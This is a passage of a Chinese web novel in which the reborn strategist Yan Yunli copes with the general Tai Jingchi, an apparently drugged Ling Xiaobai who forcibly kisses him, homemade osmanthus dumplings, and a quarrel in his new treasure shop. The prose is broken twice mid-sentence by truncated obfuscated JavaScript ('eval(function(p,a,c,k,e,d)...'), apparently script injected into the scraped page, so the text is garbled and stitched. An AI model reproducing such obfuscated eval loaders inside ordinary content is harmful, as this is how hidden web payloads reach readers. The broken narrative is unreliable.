台静池将燕云离带入太师府之后,立刻买通下人叫他去逐个报告给夫人们,就说老爷要把答应送她们的绝世宝物送给新人。 马蜂窝一被捅,王栋自然无暇搞别的了。 燕云离笑了笑:“只怕离才疏学浅,帮不了台将军什么。” 台静池道:“枕云先生是鬼仙翁的徒弟,有经世之才,王栋不懂先生的才华,在下却深知先生志不在此。” 燕云离摇了摇扇子:“打住打住,这你可错了,燕某可是真的胸无大志,就想着在东都混日子,台将军以后发达了,记得继续照拂燕某才是。” 台静池浓眉紧皱,一半脸曝露在灯火下,一半隐藏在黑暗中,眼神忽明忽灭,犹豫了许久后,他双手抱拳:“在下确实有一件事不知如何是好,先生能否指一条明路。” 台静池确实也是非凡人物,燕云离想到他在上一世的功业可算是英雄人物,只可惜天命不佳,壮年病死。 燕云离轻叹了一口气:“将军为何要相信燕某呢?东都诸多名士,燕某不过一乡野山人。” 台静池已经下定了决心,抱着拳的双手并未松开,沉声道:“还是那句,在下相信枕云先生。今日既然已经选择帮助先生脱身,在下已无退路。” 燕云离明白了,不过想想也不亏,上一世王栋死了之后,叛军也没蹦跶两天,就被盟军灭了,然后开始了长达十年台静池的统治。这一世他想要在东都躺平的话,卖台静池一个人情日后也舒坦。 于是,燕云离挑了挑眉,轻声道:“好,那燕某便奉陪。” * 燕云离回到驿馆的时候,已经是后半夜了。 他走到二楼走廊的时候,听到外面敲梆子的声音,三更已然过去,已是四更天了。 燕云离推开自己的房门,屋子里黑洞洞的,他也不想点灯,凭着记忆往自己的床边走去。 摸到了床边,燕云离弯腰将手里的白羽珊瑚团扇放在枕边,又起身脱去外袍,挂在旁边的衣架上,然后一屁股坐在床边,低头脱鞋。 今天一大早就出门,经历的事不少,还痛痛快快打了坏人,又上王栋家家吃喝了一顿,虽然最后回家的路上被台静池拦住聊了半天,但好歹是回到自己的房间了。 他现在实在是困了,燕云离抬脚上床,往后一躺,脑袋舒舒服服地就靠在柔软的枕头上了。 “舒服呀……”燕云离忍不住伸长了手脚,发出一声舒畅的喘息。 他眨巴了两下眼睛,双手盖在肚子上,正要闭眼,忽然听到耳边传来轻微的呼吸声。 燕云离倏地猛然睁开双眼,这大半夜的,谁在他床上?! 难道还有刺客??? 不对,这呼吸声平稳、不急不躁,不像是刺客,倒像是睡熟了的人…… 燕云离本来就乏了,好不容易能睡觉了,又有人来捣乱,他肝火直窜,恨不得一剑捅死旁边的人。 他稳住心态,慢慢地转过头,眼睛朝床里边看去…… 12.第 12 章 上一世燕云离没少跟凌宵白睡在一起,当然,是纯睡。 聊一夜军机聊累了倒头就睡那种,或者是兄弟们一起喝酒醉倒成一片那种。 所以,即便黑暗中只看得到床里边的人的脸部轮廓曲线,燕云离也一眼认出,这可不就是那个人! 他怎么会出现在我的床上? 燕云离来不及细想,他脑海中出现前世那熊熊燃烧的大鼎,如同他胸中的怒火滕然而起,他无声地抬起一只手,挥掌朝凌宵白打去。 以凌宵白的功夫,要躲开这一掌轻而易举,因而燕云离也没省半分力气,这一掌结结实实地拍在了凌宵白的胸膛上。 凌宵白常年练武,胸膛肌肉结实而有弹性,这一掌拍上去手感还挺好。当然燕云离没心思欣赏他的胸肌,而是紧盯着对手的动静,然而凌宵白一动不动地躺在床上,一点儿反应都没有。 “咦?”燕云离陷入诧异中。 凌宵白的反应太过奇怪,怎么跟个死人似的? 燕云离伸出手指,在凌宵白的鼻子底下探了探,呼吸尚可,只是微微有些急促。他又用两根手指摸了摸凌宵白颈脖处的脉搏,血管跳动异常有力,这感觉……难道是中毒了? 破庙那些地痞流氓在凌宵白酒中下的是烈性蒙汗药不假,但不至于过了这么久还不醒吧…… 难道他还中了别的毒? 燕云离忽然想起一件事来,自己跟随师父修炼多年,炼出了一颗能解世间百毒的七芯海棠。上一世,凌宵白被异族帝姬下毒的时候,燕云离为了救他,毫不吝啬地献出了师门至宝,喂他吃下了七芯海棠,从此以后便不再担心凌宵白会中毒的事。 这一世醒来后,自从决定去东都,燕云离毫不犹豫地就把七芯海棠吃了,这也是为什么他在皇宫挽芳庭喝下太后赐的毒酒,也能安然无恙的原因。 燕云离看着床上一动不动的凌宵白,挑了挑眉,既然是你送上门来的,别怪我不客气了。 虽然小神仙不让你死,但让你生不如死我还是有办法的。 燕云离从怀中取出夜明珠,没错,这是刚才在太师府趁乱顺出来的,方才凉亭里众美人大打出手,争风吃醋的时候没人注意到夜明珠已经不见了。 宝物果然是宝物,夜明珠被燕云离放在掌心,散发出淡淡的荧光,他把珠子凑近到凌宵白的脸颊旁,微光映照他的皮肤上,映出一层薄薄的光晕来。 哼!就是这张俊脸骗人!上一世不知有多少女子想要嫁给他。 燕云离气不过,呲着牙伸出另一个巴掌,在他脸上拍了几下。 凌宵白依旧一动不动。 燕云离眯起眼睛,对了,要不,把他的脸划花。 看他以后怎么顶着一张满是疤痕的恶人脸到处收买人心! 燕云离从枕头底下摸出匕首,锋利的刀尖闪过一丝寒光。 他用刀尖在凌宵白脸上比划着,琢磨着怎么划出疤痕才更丑。 刀尖划到凌宵白的下巴时,他忽然发出了一丝声音。 “嗯?”燕云离一愣。 仔细一看,凌宵白的皮肤变成淡淡的粉色,脸颊处也越来越红。 燕云离:“……” 不太对劲,他自幼跟随鬼仙翁修行,无所不精,凌宵白这模样分明是中毒了。 燕云离的手指还靠在凌宵白的脸上,他脸上是越来越烫,嘴里好像也在梦呓着什么。 燕云离无奈地看了他两眼,叹了口气:“算了算了,还不能让他死这,小神仙还没给我补货呢。” 他放下手里的匕首,起身下床去倒了一杯冷水过来,他俯下身,一只手端着杯子,一只手捏住凌宵白的鼻子。 只要凌宵白想要吸气而张开嘴,他就顺势把冷水喂人肚子里去。 至于会不会呛到,会不会弄脏衣服,燕云离没打算伺候他那么多,毕竟,这一世不欠他的! 凌宵白果然张开了嘴,燕云离作势就要把杯子送到他嘴边,哪知凌宵白比他动作更快,忽然伸出双手,一把抱住了燕云离的头,将他按了下来。 燕云离还没反应过来,就看见自己的脸实打实地贴在下面那人的脸上,四目相对不说,嘴唇上柔软、温热的感觉难道是…… 卧了个大槽! 燕云离的双目差点夺框而出,他扔掉了手里的杯子,用力想要起身,哪知凌宵白按着他头的手如铁钳一般,将燕云离的头死死地固定住,无论他如何用力都挣脱不开。 最可怕的事还在后面,这个时候唯一的办法就是把凌宵白叫醒了,就在燕云离张开嘴想要喊凌宵白的名字的一瞬,一条柔软、温润的东西伸进了燕云离的嘴里。 燕云离想杀人的心都他妈有了。 凌宵白就像沙漠中饥渴的旅人忽然遇到了绿洲一般,用上吃奶的力气,拼命地汲取着水源,近乎疯狂的吮吸让吸不到新鲜空气的燕云离差点晕死过去。 * 第二天凌宵白醒来的时候,发现自己躺在一张陌生的床上,床榻间弥漫着一股奇妙的香味,细细嗅来,味道有些熟悉,凌宵白低着思忖片刻,溪边那颗巨大的合欢树粉色的花海浮现在他脑中。 凌宵白顿然醒悟,这是合欢花的香味。 环顾四周,对了,他在燕云离的房间,这是在燕云离的床上。 “我怎么会在这?”凌宵白伸出手摸着自己的后颈脖。 手指碰到了一个冰凉的物体,他低头一看,竟然是一只白瓷茶杯,抬头看看,与桌子上的茶杯茶具是一套的。 茶杯怎么会落在床上? 他摸着后颈脖回想,慢慢想起来昨天傍晚他和姚铮回了驿馆,他让姚铮住在自己的房间,自己则来燕云离的房间等他,不知怎么地就睡着了。 凌宵白常年保持警惕,一直睡得很浅且容易惊醒,像这样一觉睡到大天亮,睡得跟昏死过去一般的状态已经很多年没出现过了。 他伸手附在床单上,摸到了一片湿润…… 凌宵白:“……” * 等凌宵白穿好衣服出门的时候,听到楼下传来“蹬蹬蹬”的声音,不像是有人走动,倒像是有人在砸东西。 他刚转下三楼的楼下,瞧见几个下人所在二楼转角,对着二楼的一间厢房指指点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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下人端着托盘出现在门口:“燕先生,砸累了歇会吧,先吃点东西,吃完了再砸?” 没人出现还好,有人一来,燕云离就像炸毛的猫一样跳了起来,挥舞着手中的扇子朝门口扑去。 “出去!” 就在扇子的风要掀翻下人手中的托盘的瞬间,燕云离停住了,他眼尖地瞧见了托盘中央的白瓷碗里盛着一碗白白圆圆的汤圆,上面还飘着金色的桂花花瓣,一股浓浓的酒酿甜香飘进他的鼻子里。 燕云离挑起一边长眉:“你不是说没人会做?” 下人点头哈腰笑道:“找到了个会的,先生快尝尝。” 燕云离挣扎了一下,到底没能战胜美食的诱惑,这桂花酒酿汤圆是他最喜欢的食物,每当心情不好的时候就想来这么一碗。 燕云离斜着眼睛看着被自己碾为齑粉的桌子。 下人瞧着没地方吃东西了,试探着问:“要不,去楼上吃?” 燕云离的眼刀飞过来:“说过了我不会再回那间屋子,你把我的行李收拾下来,今晚我就住在这。” “是是是,您先吃了,今晚天黑前我们一定帮您把屋子收拾好。”下人呈过托盘,“那这……” 燕云离伸手端过白瓷碗,走到另一边的贵妃榻旁坐下:“我端着吃。” 他刚吃了一口,眉头微微舒展开来,这味道竟然是他最喜欢的做法。燕云离连吃了两颗,吃到第三颗的时候,忽然皱起眉头:“这是谁做的?” 13.第 13 章 燕云离吃的这碗汤圆跟普通的略有不同,一般汤圆以糯米搓揉制成,而这几颗汤圆,在白白的糯米粉中掺杂了极少量黄米,看起来白团子上星星点点杂糅着黄色小颗粒,与桂花花瓣的颜色相得益彰,吃起来软糯中微微透出些韧性。 一般人不会这么做。 就算这么做,也不会用这种比例。 这口感独特的汤圆,上一世燕云离没少吃,这是凌家的私房菜。 下人不敢回答,只回头往门口张望,凌宵白一撩衣摆跨步走了进来。 “我做的。” 燕云离的白眼差点飞到天上去,他差点忘了,这门手艺是凌宵白的母亲独创,上一世他吃过一回,一吃倾心,念念不忘,凌宵白便学了这门手艺,专门在“拉拢”燕云离的时候用。 比如燕云离被别的诸侯拉拢的时候,比如燕云离提出要回乡探亲的时候,反正卖惨加亲手做汤圆这一招,百试不爽,上一世燕云离就是被凌宵白这招吃得死死的。 燕云离将手里的碗重重地放在屁股旁的榻边,嘴里那半颗汤圆还是不争气地滑进了喉咙里。 “嗯。”燕云离不得已吞了口口水,然后没好气道,“你娘做的好吃多了,你这手艺不到家,以后别做了。” 凌宵白却眼睛一亮,走到他身边俯下身道:“枕云先生,你还不承认关心我,这桂花酒酿汤圆是我娘的拿手手艺,你连我们洛川侯府的私房美食都知道,还说你无心洛川!” 燕云离一惊,心知说漏了嘴,但凌宵白这脑补的能力也太强了,他挺直了背往后躲,与他拉开距离:“我看你想太多,山人不说废话,你休要再自作多情。” 他一拉伸背,这腰后的肌肉便拉扯得疼,燕云离忍不住“嘶”了一声。昨晚的画面映入脑海,燕云离气得头顶冒烟。 凌宵白见他扶着后腰,上前道:“枕云先生可是扭到腰了?实在抱歉,昨晚我本来在你房中等你,不知怎地就睡着了……” 燕云离气得骂道:“你为何不跟姚铮睡在你自己房中,跑到我的屋子里来作甚!” 他这么一说,凌宵白抱着胳膊,一只手摸着下巴,沉思起来,他一向警惕性高,不可能在别人房中随便睡着,而且还睡得不省人事,这种情形只有一种可能…… 凌宵白抬起头,对驿馆的下人道:“枕云先生的房间,现在还没打扫吧?” “还没有。”下人弯腰道。 凌宵白道:“那正好,我再上去看看。” 燕云离拦住他:“你还上去做什么?那是我住的房间,就算你是世子,这里是东都驿馆,不由得说来就来说走就走的。” 哪知凌宵白两只手一把抓住燕云离的两只胳膊,神情关切道:“枕云先生,我怀疑昨晚有人在你房间下毒!可能下毒之人不知道在房中的是我,所以毒错了人。” “……” 燕云离有口难言,垂眸瞧见凌宵白抓着他的胳膊,顿时像被烧红的铁钳烫着了似的甩开手。 燕云离甩得太过用力,让凌宵白一愣,露出讶异的神情,他也不明白燕云离怎么一下子跟他这么疏远了。 燕云离率先迈开长腿两三步跨到门前,也不知是跟谁交代:“我出去一趟,天黑前回来,在我回来之前,把这间房收拾好,我以后住这间。” 凌宵白还有一个多月才离开东都,在他走之前,燕云离决定跟他保持距离,最好不要住在同一层。 燕云离刚走出驿馆的大门,被迎面走来的台静池拦住了。 “枕云先生,借一步说话。” 燕云离看了一眼他身后的马车,摇着扇子道:“我刚吃了不少容易积食的东西,这会肚子正饱着,想走一走,消消食。” 台静池愣了一下,随即笑道:“枕云先生可想去黑羽军的校场看看。” 燕云离上一世当了一辈子军师,虽然这一世打算换个赛道,但听到“校场”二字,还是忍不住心痒痒。 “素闻黑羽军大名,见见也好。”燕云离道。 台静池微微一笑,伸手到:“请——!” 两人说是散步消食,其实走得很快,不一会儿就来找城东的校场。 此时,校场正有士兵操练,长枪如林,刀光如电,号声整齐,气势如虹。 黑羽军果然名不虚传,只可惜时运不济,落入奸人手中,英雄无用武之地,反做了恶人手里的屠刀。 两人走到校场边,燕云离看了台静池一眼,故意不赞叹黑羽军训练有素,而是夸赞台静池道:“台将军非池中之物。” 台静池故作惊慌道:“先生谬赞了,这话可说不得。” 燕云离斜眼看他,心道:你就别装大尾巴狼了,上一世说不是天命不在你,当皇帝的就不是凌宵白是你了。一代枭雄,演技也是真真好。 燕云离道:“我就是一东市井商人,有何不能说的。只不过有些话能在什么地方说,我还是清楚的。” 台静池看了他几眼,忽然从旁边的兵器架子上抽出一把刀,扔给燕云离:“先生想试试吗?我们简单切磋一下,就当活动活动手脚。” “好……”啊字还没说出口,燕云离忽然想起后腰子还扯着疼,顿时一股对凌宵白的怒火又从脑后升起。 他无奈地把刀还给台静池:“今日身体不适,活动不便,改日再领教。” 台静池也没想到他会拒绝,迟疑了一下后立刻把刀接了过去,插回刀架上。 “台某斗胆,也没料到枕云先生愿意留在东都。” 他的意思很明显,那天晚上他虽然帮燕云离摆脱了王栋的邀约,但这毕竟不是长久之计。只要燕云离还留在东都,王栋迟早还是会对他下手的。 他不相信燕云离愿意委身王栋,但也想不通燕云离哪来的把握可以留在东都安然无恙。 燕云离看他的眼神,就知道他现在一肚子疑惑,为了防止台静池想太多坏事,燕云离决定推他一把。 “台将军,燕某的恩师是鬼仙翁想必将军已经知道了吧。” “知道。”台静池没想到燕云离怎么突然冒出这么一句。 燕云离接着道:“其实燕某在别的方面并未如传言般精良,唯独有一件事,燕某还是有点自信的。” “请先生赐教。”台静池道。 此时太阳越升越高,已近晌午。燕云离用扇子遮住额头,微笑道:“算命。” 台静池微微张开嘴,据说鬼仙翁神通近仙人,那些周易八卦、紫微斗数、梅花术数等等,以鬼仙翁的弟子来说,应该不在话下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这身影轮廓,就算在黑暗里,燕云离也能一眼认出来。 怎么又是那个他挥之不去的人! 燕云离只犹豫了一瞬,决定假装没看见,摇着扇迈着步子就准备往屋子里走,他走到凌宵白身边的时候,一只大手伸了出来,拦住了他的去路。 这手大,胳膊长,燕云离上一世就偷偷笑他是“长臂猿”。 燕云离叹了口气:“我搬到二楼,就是想跟你隔得远一点,以防世子你又走错房门。” 凌宵白沉着声音道:“虽然不知道先生为何讨厌我,但我对先生毫无恶意。” “哈!”燕云离带着嘲讽的语气笑了一声。 此时的凌宵白当然理解不了他这一声冷笑的含义,仍是一腔热血道:“我可以与先生保持距离,不过也请先生为了自身的安危着想,离台静池远一点。” 燕云离眼神闪烁了一下,立刻明白过来,洛川侯府在东都也不是完全没有眼线的。想必是凌宵白已经知道了他上午跟台静池去校场的事。 燕云离挥了挥扇子:“台将军也算枕云居的股东,我们谈一下生意上的事而已。” 说罢他就像绕开凌宵白往前走,凌宵白退了一步,用身体挡住走道。 燕云离抬起下巴:“世子又想干嘛?” 昨晚还害得他不够吗?他现在还后腰子疼!小神仙到现在也不敢露面,这件事跟小神仙一定脱不了干系!他一定要找小神仙算账! 凌宵白看见燕云离带着厌恶的眼神,略微委屈地低下头,小声道:“我这边收到了些小道消息,台静池现在的处境十分凶险,随时可能万劫不复。” 14.第 14 章 “你听到什么了?”燕云离抱着手臂,身体往后倾,刻意与他保持距离。 凌宵白却又上前了一步,好像两人多了点距离,燕云离就会听不见似的。 燕云离后脑勺都要顶到栏杆柱子上去了,伸出手指擒着扇子分开两人的距离,皱着眉头道:“行了行了,别得寸进尺了。你就不能站在那别动,只动嘴巴说话不行么?” 凌宵白环顾四周,此时整个驿馆静悄悄的,只有一轮明月悬挂在黑色的屋檐上,两人站在楼上说话动在夜空里显得格外清晰,他压低声音道:“事关机密,恐隔墙有耳,能否到先生房里去说?” “不行!”燕云离应激一般地抬起下巴,墨色眸子里带着怨恨紧张地盯着凌宵白,“有话就在这说!你以后也不许进我的房间!” 凌宵白愣了一下,虽然在来东都的路上,燕云离就对他说过要与他保持距离,但凌宵白始终闹不明白燕云离为什么这么讨厌他,明明在长乐宫事件里燕云离甚至不惜喝下毒酒也要帮他脱困,但为何听闻凌宵白还要在东都待两个月后,燕云离又对他冷淡起来? 若燕云离是普通人,凌宵白可能会觉得他就是喜怒无常、时冷时热。 但眼前这个人不是普通人,他可是大名鼎鼎的枕云先生。 凌宵白只想到一种可能,那就是燕云离自有安排! 嗯没错,枕云先生一定有他自己的主意! 燕云离不明白凌宵白为何愣了一下眼神又闪烁起来,只见凌宵白目光闪闪,凑近了身体,在燕云离耳边道:“那我就在先生耳边说。” 凌宵白的气息吹在燕云离的耳朵上,他的身体顿时一震,此时燕云离已经完全靠在身后的柱子上,躲又躲不开,回房间说话他又一万个不愿意,只好僵在原地,等着凌宵白快点说完。 凌宵白道:“东都的数十位老臣已经暗中联合起来,准备清君侧,准备除掉那个所谓的定国公。” 燕云离抬起眼睛:“就凭那些个站都站不稳、话也说不清的老臣?他们还没靠近摄政公,就先被黑羽军捉起来了。” 他的睫毛很长,抬眼的时候几乎要碰触到凌宵白的下巴。 凌宵白低下头:“所以,他们打算密信给北幽王等诸侯,让他们来东都给太后庆生的时候,顺便……” 燕云离忍不住轻笑了一声:“这些人真是老糊涂了,王栋既然敢利用太后庆生的时机把” 众诸侯请过来,本就是为了清除异己,自然早已做了万全的准备,他们这是自己上套呀。” 凌宵白的声音压得更低了:“北幽王已经回了信,据说打算利用江湖势力,找流星堂的杀手先暗中除掉台静池。没了台静池这个羽翼,王栋在东都就孤立无援了。” 燕云离摇摇头,北幽王这个炮灰在上一世就是第一个被台静池灭掉的势力,这会儿他来掺和东都的政变,纯属作死。 “北幽王养尊处优、心高气傲,根本分不清敌我状况,这一趟,必败。”燕云离道。 凌宵白听他这么说,心里顿时春暖花开,心想:这枕云先生就是口是心非,明明对朝野时局了如指掌,连远在北幽的诸侯他都了解,还说自己不愿从政只想当商人,根本就是骗他的。枕云先生一定在下一盘很大的棋!!! 我一定要留在他身边好好看这局棋!凌宵白这么一想,脸上的表情就舒展开来,嘴角也上扬起来。 燕云离瞪大了眼睛:“你开心什么?” 凌宵白又凑近了一些,两人的鼻尖都快碰上了。 凌宵白轻声道:“先生放心做自己想做的事,我会暗中保护先生的。” 燕云离:“???” 这又是哪归哪,他方才不还一脸担忧让自己不要接近台静池,怎么现在又兴高采烈起来?这凌宵白的脑子里到底装了什么东西??!! 燕云离一脸莫名其妙,只见凌宵白终于往后撤了些脑袋,微笑道:“时候不早了,不打扰先生休息了,早些睡。” 凌宵白说完迈着轻快的步子,哼着小曲上楼去了。 燕云离目瞪口呆地看着他的背影:“……” * 第二天燕云离刚起床,还在穿衣服,就听见有人敲门。 “燕先生,起来了吗?” 燕云离穿好衣服,拉开门,门口站着的是姚铮。 果然人靠金装马靠鞍,姚铮换了身干净衣服后,有模有样多了。 他举了举手里的托盘:“燕先生,早膳准备好了,你趁热吃。” 燕云离眼睛一瞟,就看见碗里的桂花酒酿汤圆,不用说,肯定是凌宵白做的。 燕云离翻了个白眼:“驿馆有下人,为何要你做事。” 姚铮开开心心地把托盘放在屋子中间的圆桌上,脸上堆着笑:“哥哥说让我这几天跟着你,保护你的安全。” “呵!呵!呵!”燕云离冷笑了三声,一整个大无语。 “叫世子不要再做汤圆了,我不想吃了。”燕云离走到桌子边,冷眼道。 姚铮有些不知所措地指着桌子上的碗:“那、这个……” 燕云离一屁股在旁边的凳子上坐下,拿起汤匙:“你记住,就这一次,明天起不许送了。” “是是是!”姚铮连连点头。 燕云离吃完了,正要出门,发现姚铮还跟着他。 他不满地转过头来:“你还跟着我做什么,找你的凌哥哥去。” 姚铮脸涨得通红:“哥哥说了,让我今天跟着你,他自己也出去忙正事去了,我找不到他。” 燕云离一脸不屑,嘴里嘟囔道:“他能有什么正事。” 说完,瞥了姚铮两眼,这孩子实诚,凌宵白说什么就是什么,不让他跟着恐怕还会伤心。 于是,燕云离道:“你非要跟的话,就跟我去店里吧,枕云居正好需要苦力。” 姚铮听罢,用力点头:“苦力我可以,我最擅长!” 燕云离摇摇头,转身出门。 两人穿过大街,不一会儿就到了枕云居。 枕云居已经装修得差不多了,只是还没有上架货品,小神仙那家伙上次自从出了那事之后就消失不见了,燕云离等了他几天也没出现。 燕云离指着店铺后面的木头对姚铮道:“你去后面帮忙吧,看看木匠师傅们要什么,你就做什么。” “是。”姚铮一抱拳绕到从店铺后的小门出去了。 燕云离站在店铺里,在柜台的位置比划着,想着到时候要用什么奇珍异宝来填充货架,怎么摆放才更吸引人。 “这里是要开珍宝阁吗?”门口忽然响起一个清脆的声音。 燕云离回头一看,是一位贵族小姐打扮的女子,面容姣好,说起来还有几分眼熟。 “小姐是?”燕云离转过身,好奇地打量着这位女子。 “我叫欧阳瑾,听哥哥说西街上的香倚阁被人盘下来了,准备开一间新的珍宝阁,我就想来看看。”那女子略带羞涩地低声说道,眼角不时扫过空空的货架。 燕云离道:“姑娘来得不巧,我这铺子原本是这几天就要开张的,但是货源还在路上,出了点小问题。不过姑娘放心,月底前一定会开张。” 欧阳瑾的眼睛闪了闪:“哦,原来是这样……” 说完了话,这姑娘依旧站在门口,并没有打算走的意思。 燕云离摇了摇扇子:“姑娘可还有别的事?” 欧阳瑾脸颊微红,似乎犹豫着要不要说出实情,憋了半天还是忍不住道:“其实……一年前我在此当了一块玉佩,当时老板答应我会留到我来赎回,以一年为期。可没想到,这铺子竟然盘出去了,我还没来得及赎回那玉佩,不知道先生能不能帮忙找找……” 香倚阁里最值钱的两样东西已经被凌宵白买了送燕云离了,剩下的货品都不太入流,由于盘铺子的价格美丽,老掌柜的一个高兴把之前铺子里的货品都一起打包送给了燕云离。 但燕云离不太看得上那些东西,于是叫人都用箱子收了,此时正堆在货房里。 要找肯定能找,但燕云离不想去翻那几口箱子,麻烦。 燕云离摇着扇子微笑道:“这样吧姑娘,这铺子原来的那些货品我都看过,不甚别致,姑娘与其在那旧货里翻找,不如等我这枕云居开张,到时候别说一块玉佩,天南地北的奇珍异宝任姑娘挑选,我一定给姑娘打一个大大的折扣,保准比赎回那旧玉佩便宜,如何?” “这……”欧阳瑾犹豫,嘴里嚅嗫道,“倒也不是不行,只不过那玉佩是我用自己多年存的零用买的第一块礼物,本想送人,结果没送出去。所以……” 燕云离哈哈大笑:“原来姑娘是个念旧之人,在下可开导姑娘几句,既然当年没送出去,说明与那人没有缘份,今后就是有机会拿回来,也已过了最好的时候,所谓缘分,缺一不可,既然错过,不如安然处之,未尝不是好事。” 欧阳瑾微微张开粉色的唇,面露感激之色:“确实,我现在的确还未能存够可赎回那玉佩的银子,先生说的有理,我安心多了。” 燕云离安慰她道:“不必遗憾,眼眸可以保证枕云居的宝物一定比当年那块玉佩更美,更让姑娘开心。” “嗯,那我当时一定来光顾。”欧阳瑾感激地行了个礼,看着她的背影,燕云离的脑海里突然啊冒出一个人来。 “等一下。”燕云离抬手。 欧阳缓缓回过头来,眼神疑惑道:“先生还有何事?” 燕云离绕到她面前,定定地看着她:“姑娘可是欧阳尚书家的小姐,欧阳瑾的妹妹?” 欧阳瑾惊讶道:“先生认识家兄?” 燕云离拍了拍脑门,心道:何止认识你哥哥,我还认识你呢!上一世欧阳瑾是凌宵白的第一任妻子,说起来还是燕云离的主母。在上一世的战乱中,欧阳瑾在与凌宵白的会合途中,为救百姓不幸身死,赢得了大渊从上到下的一致敬重。 大渊立国后,燕云离不止一次提醒凌宵白要追封欧阳瑾为皇后,谁知还没开始准备册封典礼,燕云离自己先被祭天扔了铜鼎…… 算了算了,先不是想着个的时候。 燕云离用扇柄敲了敲自己的额头,总之没有想到在这一世,能看到活着的欧阳瑾,要知道在上一世他第一次见到欧阳瑾的时候,她已经入棺了。 燕云离心里有些酸楚,更多地是对欧阳瑾的敬佩,他伸出手:“在下与欧阳兄的确认识,欧阳姑娘请进来说话吧。” 欧阳瑾也知道自己哥哥在东都是位名公子,喜欢结交各路奇人,这位枕云居的掌柜看起来容貌惊人、气质不凡,估计也是位雅士。 燕云离重新将欧阳瑾迎回店里,对着后头的门喊道:“姚铮,姚铮!快过来!” “来了!”姚铮乐呵呵地从小门内跑了进来,额头上还带着微微的汗珠,衣服上也沾了些木屑,一看就是在后面忙活,没偷懒。 “先生有何吩咐?”姚铮搓着手道。 燕云离指着欧阳瑾,忽然顿住了,他总不能对姚铮说这是你未来的主母吧…… 姚铮看看欧阳瑾,又看看燕云离,重复问道:“先生,有何吩咐?” 燕云离叹了口气,真没想到,这远在东都的一屋子,竟然聚集了上一世的故人。他心里一阵惆怅,只好对姚铮道:“这样吧,这位姑娘想找一个玉佩,你去里面库房把那些箱子打开,帮这位姑娘去找。” 欧阳瑾赶忙摆手:“不用了不用了,不敢麻烦这位小哥。” 姚铮看了看欧阳瑾,也不知是不是前世的缘份,他也觉得欧阳瑾看起来十分面善,于是拍着胸脯道:“不麻烦,我力气大得很,姑娘说说那玉佩是什么样的,我保准帮你找出来。” 欧阳瑾看看姚铮,又看向燕云离,燕云离对她点了点头。 于是欧阳瑾道:“是两只鸟儿连起来的一只玉佩,通体白色,模样挺特别的,应该好认。” 她说的这种外形的确不是玉佩的常见形态,也难怪她恋恋不舍。燕云离道:“我记得玉佩之类的物件在同一个箱子里,姚铮,你等会打开箱子,专找放玉佩的箱子,能快些。” “好的,我这就去!”姚铮一抱拳,然后又从后门出去了。 “这位小哥人真好。”欧阳瑾赞道。 燕云离心里有些发酸,上一世正是姚铮陪着夫人欧阳瑾从练州突围,为了抢回夫人的尸身,姚铮身中了十八刀,回来后他一直自责是自己没有保护好夫人。虽然凌宵白从来没有怪过他,反而给了他很多奖赏,但姚铮一直惦记着这件事直到最后一次出征。 燕云离越想越心酸,不由拿扇子不停地扇着面容,阻止眼睛发酸掉泪。 “先生怎么了?”欧阳瑾见燕云离行为古怪,不由在他身后关切问道。 正在这时,门口忽然一惊一乍地来了一对男女。 女的看起来年纪跟欧阳瑾差不多,只是已经盘上了发髻,看来已经嫁人。苍白瘦削的脸上挂着浓浓的怒气,额头上黑气冒顶。 她一进来就指着欧阳瑾骂道:“臭三姐,我让你勾引我夫君!” “你是哪位?”欧阳瑾一脸莫名其妙,“我与你素不相识,根本不认识你。” “你不认识我,你总认识我夫君!”这女子指着身后跟进来的肥胖男子道。 欧阳瑾往她身后一看,她后面站着个华服肥胖男子,年纪也很轻,只是体态臃肿,面容五官也呈现出不自然的浮肿。 “你是?”欧阳瑾一时没认出人来。 那男子一脸尴尬,摇晃着白胖的肥头大耳,嘴里含糊道:“欧阳小姐,抱歉了,我拦不住这疯婆娘,我是王冰。” “王冰、王冰……”欧阳瑾嘟囔了几句,忽然恍然大悟,“你是太师之子王冰?” “对对对!是我。”男子点头。 “你怎么胖成这样了?”欧阳瑾脱口而出,她忽然想起王冰去年刚成亲,距今不过数月,当时太师王栋仗着自己位高权重,借办婚礼之由向东都的王公贵族大肆搜刮礼金,惹得众人不满,背后纷纷暗骂。 年头立春时宫里举行晚宴她还见过一次王栋,当时还是个瘦高个,怎么婚后便胖成这个样子了。听闻民间有“幸福肥”这一说法,看来的确灵验,结了婚果然让人发胖。 只是这“幸福”二字,在这两夫妻身上看不出一点儿痕迹。 “身体不好,生病了,吃多了药发胖……”王冰解释道。 “哦……”欧阳瑾不知该说什么好,她又不是大夫,也不明白这两夫妻找她干嘛。 王冰的夫人见他两说话,顿时火冒三丈,不红青红皂白抡起袖子,露出苍白的巴掌,朝着欧阳瑾脸上打去。 嘴里还一边难听地谩骂:“我让你勾引别人夫君,我让你臭不要脸,不要脸的臭三姐!” 欧阳瑾伸出胳膊阻挡躲避,一边往后退一边道:“有话说清楚!你怎么不分青红皂白?我根本不认识你夫君!” “还说你不认识,你俩刚才还不说话吗?你还知道他胖瘦?”那女子如泼妇一般劈头盖脸地打来。 “不是,我们只见过一次,我跟他根本不熟……”欧阳瑾一边躲一边解释。 知书达礼的千金小姐,被个泼妇破口大骂,还一个劲地扇巴掌,根本不给人解释的机会,实在是嚣张得很,何况欧阳瑾还是未来的主母,燕云离看不下去了,扇子一挥,一股气劲分开了两人,他闪身挡在欧阳瑾前面。 “这位夫人,有话好好说,不要在我的店铺打人。”燕云离面对着那女人道。 那女人被一扇子扇得往后转了两圈,倒在自家老公身上,看见扶住她的王冰,又怒不可遏地给了王冰脸上一巴掌。 王冰捂住肥胖的脸,骂道:“你打我做什么!疯婆子!” 那女人一听疯婆子三个字,愈发跳起来,劈头盖脸地又去打王冰:“都是你这个混蛋!我死了你也别想好过!我跟没完!” “夫人,要处理家事回家去,在外面多不好看。”燕云离撵人。 那女人见闹事有了观众,顿时来劲了,眉飞色舞道:“掌柜的,你评评理,你说这对狗男女该不该千刀万剐。” 燕云离抱着手臂,点头道:“千刀万剐那是死罪,夫人若是觉得他二人有罪,大可以去报官。” 